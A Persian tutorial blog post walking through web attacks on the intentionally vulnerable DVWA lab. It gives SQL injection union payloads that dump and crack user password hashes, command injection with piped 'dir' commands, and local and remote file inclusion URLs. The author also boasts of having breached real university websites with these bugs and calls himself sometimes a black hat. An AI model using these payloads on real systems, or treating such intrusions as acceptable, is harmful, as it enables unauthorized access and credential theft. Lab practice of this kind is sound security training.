محمد رضا  پایدار
متخصص هک و نفوذ : طراحی دیتاسنتر

آموزش تست نفوذ به وب سایت ها با باگهای شبیه سازی شده در DVWA

سلام خدمت دوستان در مقاله قبلی در مورد نرم افزار های مورد نیاز و امنیت در نرم افزار های تحت وب و بررسی خطا های Sql injection صحبت کردیم حال به ادامه مبحت معرفی و استفاده از باگ ها در محیط شبیه سازی شده را شروع میکنم

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

استفاده از باگ ها

حالا به استفاده از باگ های ارائه شده موجود میپردازیم. جهت تمرین از یک وبسایت شبیه سازی شده به نام DVWA استفاده میکنیم که میتوانید از آدرس زیر آخرین ورژن آن را دانلود کنید .

البته این برنامه در نسخه های لینوکسی مثل Kali-linux یافت میشود . در ضمن پس از دانلود شما باید با برنامه XAMPP این فایل رو آپ کنید و بعد در مرورگر سیستم خود از آن استفاده کنید یعنی فایل رو پس از دانلود تو مسیر زیر قرار دهید و همچنین اون دسته از دوستان که با این سرویس آشنا نیستن میتونن به لینک های زیر مراجعه نمایند .

c:\xampp\htdocs


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



صفحه ورود سیستم DVWA


جهت ورود به سیستم میتوانید از نام کاربری و گذرواژه زیر استفاده کنید.

[Username] : admin
[Password] : password


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



صفحه اصلی سیستم DVWA


از منوی سمت چپ میتوانید باگ مورد نظر خود را انتخاب کرده و شروع به تست کنید. ابتدا روی DVWA Security کلیک کرده و Security Level را روی Low قرار دهید .

SQL Injection

جهت انجام این آزمون روی دکمه مربوطه کلیک نمایید تا صفحه ای مشابه به شکل زیر را ببینید.


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



بخش SQL Injection سیستم


مراحل کار را به ترتیب انجام دهید و نتیجه را مشاهده کنید.

    1. بخش مربوط به شناسایی باگ
  1
  1’ or 1=1
  1’ or 1=1#

بعد از اجرای آخرین دستور به تمام داده های موجود قابل نمایش دست پیدا خواهید کرد.

    1. پیدا کردن تعداد ستونها
  1' order by 10 #
  1' order by 5 #
  1' order by 2 #
  1' order by 3 #

همانطور که مشاهده می شود، تعداد ستونها 2 می باشد.

    1. نمایش ستونهای آسیب پذیر
  1' union select 1,2 #
  -1' union select version(),database() #

همانطور که مشاهده می شود، هر دو ستون آسیب پذیرند زیرا ورژن و نام دیتابیس مورد استفاده در وبسایت را به ما می دهند. با توجه به شکل زیر اطلاعات سطر اول ورژن دیتابیس (5,5,32) و سطر بعدی نام دیتابیس (dvwa) می باشد.


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



نمایش ستون های آسیب پذیر در سیستم


  1. به دست آوردن نام جدول

درصورتی که ورژن بدست آمده از مرحله قبل از 5 بیشتر باشد میتوان از information_schema استفاده کرد .

-1' union select group_concat(table_name),2 from information_schema.tables where
table_schema=database() #


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



بدست آوردن نام تیبل های موجود در دیتابیس سیستم


همانطور که مشاهده می شود، نام جداول guestbook و users می باشد .

    1. به دست آوردن ستونهای یک جدول
-1' union select group_concat(column_name),2 from information_schema.columns where
table_name='users' #


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



بدست آوردن نام ستون های یک جدول


    1. بیرون کشیدن اطلاعات یک جدول
-1' union select group_concat(user,' : ',password,'
'),' ' from users #


تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



دریافت اطلاعات نام کاربری و گذرواژه سیستم


همانطور که مشاهد می شود، به راحتی اطلاعات نام کاربری و گذرواژه تمام افراد بدست آمد.

admin : 5f4dcc3b5aa765d61d8327deb882cf99
gordonb : e99a18c428cb38d5f260853678922e03
1337 : 8d3533d75ae2c3966d7e0d4fcc69216b
pablo : 0d107d09f5bbe40cade3de5c71e9e9b7
smithy : 5f4dcc3b5aa765d61d8327deb882cf99

توجه شود که گذرواژه ها بصورت MD5 HASH شده می باشند.

    نتیجه بدست آمده بصورت زیر می باشد.

    5f4dcc3b5aa765d61d8327deb882cf99 MD5 : password
    e99a18c428cb38d5f260853678922e03 MD5 : abc123
    8d3533d75ae2c3966d7e0d4fcc69216b MD5 : charley
    0d107d09f5bbe40cade3de5c71e9e9b7 MD5 : letmein
    5f4dcc3b5aa765d61d8327deb882cf99 MD5 : password
    

    در نهایت به این اطلاعات دست پیدا کرده اید.

    admin : password
    gordonb :abc123
    1337 : charley
    pablo : letmein
    smithy : password
    

    وبسایت های داخلی که به شخصه در گذشته به وسیله همین باگ ها مورد نفوذ قرار گرفتن وبسایت هایی مانند دانشگاه های علوم تحقیقات، تهران مرکز، آزاد خمین و ... میباشد.


    تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



    وبسایت دانشگاه تهران مرکز


    (Command Injection (rce

    برای آزمون این باگ وارد بخش مربوطه شوید. حالا بطور مثال IP خودتان را وارد کنید (127.0.0.1)


    تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



    اطلاعات مربوط به Ping 127.0.0.1


    حال به کد دقت کنید

    {$cmd}

    "; ?>

    حال به جای وارد کردن IP خالی دستور زیر را وارد میکنیم.

    127.0.0.1|dir
    127.0.0.1|dir e:
    127.0.0.1|dir c:
    127.0.0.1|dir d:
    

    به این ترتیب میتوان به فایلهای مختلف دست پیدا کرد .

    ( File Inclusion ( lfi \ rfi


    ابتدا وارد قسمت مربوطه شوید.

    http://localhost:port/DVWA/vulnerabilities/fi/?page=file1.php
    

    همانطور که مشاهده میشود، در انتهای آدرس فایل یک ، php درحال خواندن و نمایش میباشد.

    تست LFI

    http://localhost:port/DVWA/vulnerabilities/fi/?page=C:\Windows\System32\dri
    vers\etc\hosts
    


    تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



    آسیب پذیر بودن سیستم نسبت به باگ LFI


    همانطور که مشاهده میشود اطلاعات موردنظر قابل مشاهد می باشد.

    تست RFI

    http://localhost:port/DVWA/vulnerabilities/fi/?page=http://google.com
    


    تست نفوذ به وب سایت ها - معرفی و استفاده از باگ ها در محیط شبیه سازی شده



    عدم آسیب پذیری RFI


    طبق نتایج میتوان فهمید که این آسیب پذیری وجود ندارد، علت هم قابل مشاهده می باشد

    https:// wrapper is disabled in the server configuration by allow_url_include=0
    

    اجازه دسترسی به //: https بسته شده است.به نظرم تا به این جا کافیست در ادامه تبدیل LFI به XSS رو توضیح خواهم داد دوستان بازم تاکید میکنم که مطالب جنبه آموزشی دارد تا اون دسته از دوست دارن این عرصه بتونن با این جور متد ها آشنایی کامل پیدا کنن.


    محمد رضا  پایدار
    محمد رضا پایدار

    متخصص هک و نفوذ : طراحی دیتاسنتر

    بیش از 20 سال سابقه اجرایی در حوضه زیر ساخت شبکه (Fib , wire) و طراحی دیتا سنتر و مشاوره در زمینه های مختلف امنیتی در سازمانهای خصوصی و دولتی دارم . تخصص اصلی من تست و هک و نفوذ هست گاهی کلاه سفید گاهی مشکی عاشق مهندسی معکوس سیستم های امنیتی هستم و ... مطالعه کتب انگلیسی در زمینه های کاری خودم رو دوست دارم

    نظرات